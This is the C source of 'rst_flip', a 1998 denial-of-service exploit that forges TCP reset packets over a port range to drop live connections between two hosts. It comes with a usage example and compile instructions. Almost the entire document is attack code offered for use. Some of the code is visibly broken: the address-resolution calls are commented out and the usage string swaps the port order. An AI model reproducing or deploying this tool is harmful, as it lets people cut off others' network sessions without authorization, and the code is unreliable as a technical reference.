DoS attack against Linux, SunOS, FreeBSD and possibly others that allows you to reset(drop) active TCP connections by sending customized packets.
d945632a4e4dcdc79a4cf74fd0dcbc73/*
rst_flip 1998(C) krypt@enteract.com - http://www.rootshell.com/
This is a DOS attack against an existing connection where one of the hosts
is a Linux, SunOS, FreeBSD and possibly others. I did not have time to test
this code thoroughly.It's purpose is merely to illustrate that it is
possible to cause a conenction to be dropped by sending a couple of
customized packets to one of the hosts.
The usage is quite simple:
rst_flip <A> <B> <A port low> <A port hi> <B port low> <B port hi>
where A and B are the hosts currently having a session and you do not want
them to.
To check if your hosts are vulnerable you can use scenario like this: Say
host A (Windows 10.10.3.21) is connected to port 21 of host B (SunOS -
10.10.1.23). Since it is usually unknown what port A has utilized for this
connection ( it is higher than 1024,most of the time :) we have to consider
the possible range. So you would do:
rst_flip 10.10.3.21 10.10.1.23 1024 2000 21 21
I am in no way responsible for whatever happens after this point. Do not
laugh at the code because i already know that. I'll work on it later. It
compiles on Linux.
cc -o rst_flip rst_flip.c
Mad thanks to: tootin.
Greets to: l0ck.
*/
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#define TCPHDR sizeof(struct tcphdr)
#define IPHDR sizeof(struct iphdr)
#define PACKETSIZE TCPHDR + IPHDR
#define SLEEPTIME 30000 // depending on how fast can you barf the packets out
#define LO_RST 1 //
#define HI_RST 2147483647 // do not ask me about this :)
#define ERROR_FAILURE -1
#define ERROR_SUCCESS 0
void resolve_address(struct sockaddr *, char *, u_short);
unsigned short in_cksum(unsigned short *,int );
int send_rst(char *, char *, u_short ,u_short , u_long, u_long,u_long);
int main(int argc, char *argv[])
{
int res,i,j;
int spoof_port,target_port;
if (argc < 7 || argc> 8 )
{
printf ("usage: <source> <destination> <source_port_hi> <source_port_lo> <dest_port_hi> <dest_port_lo>\n[ http://www.rootshell.com/ ]\n");
exit(ERROR_FAILURE);
}
for (i = atoi(argv[3]);i <= atoi(argv[4]); i++)
{
spoof_port = i;
for (j = atoi(argv[5]);j <= atoi(argv[6]); j++)
{
target_port = j;
printf("%s : %d \t", argv[1],spoof_port);
printf("-> %s :%d\n",argv[2], target_port);
res=send_rst(argv[1],argv[2],spoof_port,target_port, HI_RST, HI_RST, 2);
usleep(SLEEPTIME);
res=send_rst(argv[1],argv[2],spoof_port,target_port, LO_RST,LO_RST, 2);
usleep(SLEEPTIME);
}
}
return ERROR_SUCCESS;
}
// here we put it together
int send_rst(char *fromhost, char *tohost, u_short fromport,u_short toport, u_long ack_sq, u_long s_seq, u_long spoof_id)
{
int i_result;
int raw_sock;
static struct sockaddr_in local_sin, remote_sin;
struct tpack{
struct iphdr ip;
struct tcphdr tcp;
}tpack;
struct pseudo_header{ // pseudo header 4 the checksum
unsigned source_address;
unsigned dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pheader;
// resolve_address((struct sockaddr *)&local_sin, fromhost, fromport);
// resolve_address((struct sockaddr *)&remote_sin, tohost, toport);
// TCP header
tpack.tcp.source=htons(fromport); // 16-bit Source port number
tpack.tcp.dest=htons(toport); // 16-bit Destination port
tpack.tcp.seq=ntohl(s_seq); // 32-bit Sequence Number */
tpack.tcp.ack_seq=ntohl(ack_sq); // 32-bit Acknowledgement Number */
tpack.tcp.doff=5; // Data offset */
tpack.tcp.res1=0; // reserved */
tpack.tcp.res2=0; // reserved */
tpack.tcp.urg=0; // Urgent offset valid flag */
tpack.tcp.ack=1; // Acknowledgement field valid flag */
tpack.tcp.psh=0; // Push flag */
tpack.tcp.rst=1; // Reset flag */
tpack.tcp.syn=0; // Synchronize sequence numbers flag */
tpack.tcp.fin=0; // Finish sending flag */
tpack.tcp.window=0; // 16-bit Window size */
tpack.tcp.check=0; // 16-bit checksum (to be filled in below) */
tpack.tcp.urg_ptr=0; // 16-bit urgent offset */
// IP header
tpack.ip.version=4; // 4-bit Version */
tpack.ip.ihl=5; // 4-bit Header Length */
tpack.ip.tos=0; // 8-bit Type of service */
tpack.ip.tot_len=htons(IPHDR+TCPHDR); // 16-bit Total length */
tpack.ip.id=htons(spoof_id); // 16-bit ID field */
tpack.ip.frag_off=0; // 13-bit Fragment offset */
tpack.ip.ttl=64; // 8-bit Time To Live */
tpack.ip.protocol=IPPROTO_TCP; // 8-bit Protocol */
tpack.ip.check=0; // 16-bit Header checksum (filled in below) */
tpack.ip.saddr=local_sin.sin_addr.s_addr; // 32-bit Source Address */
tpack.ip.daddr=remote_sin.sin_addr.s_addr; // 32-bit Destination Address */
// IP header checksum
tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
// TCP header checksum
pheader.source_address=(unsigned)tpack.ip.saddr;
pheader.dest_address=(unsigned)tpack.ip.daddr;
pheader.placeholder=0;
pheader.protocol=IPPROTO_TCP;
pheader.tcp_length=htons(TCPHDR);
bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
// Get a socket and send the thing
raw_sock = socket(AF_INET, SOCK_RAW, 255);
if (raw_sock==-1)
{
perror("can't open a raw socket.");
exit(ERROR_FAILURE);
}
i_result = sendto(raw_sock,&tpack,PACKETSIZE,0,(struct sockaddr *)&remote_sin,sizeof(remote_sin));
if (i_result != PACKETSIZE)
perror("error sending packet");
close(raw_sock);
}
// this is stolen :)
unsigned short in_cksum(unsigned short *ptr,int nbytes){
register long sum; // assumes long == 32 bits
u_short oddbyte;
register u_short answer; // assumes u_short == 16 bits
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0; // make sure top half is zero
*((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); // add high-16 to low-16
sum += (sum >> 16); // add carry
answer = ~sum; // ones-complement, then truncate to 16 bits
return(answer);
}
// Resolve the address and populate the sin structs
void resolve_address(struct sockaddr * addr, char *hostname, u_short port)
{
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ((int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length);
}
else {
puts("Couldn't resolve the address!!!");
exit(ERROR_FAILURE);
}
}
}
Comments
No comments yet, be the first!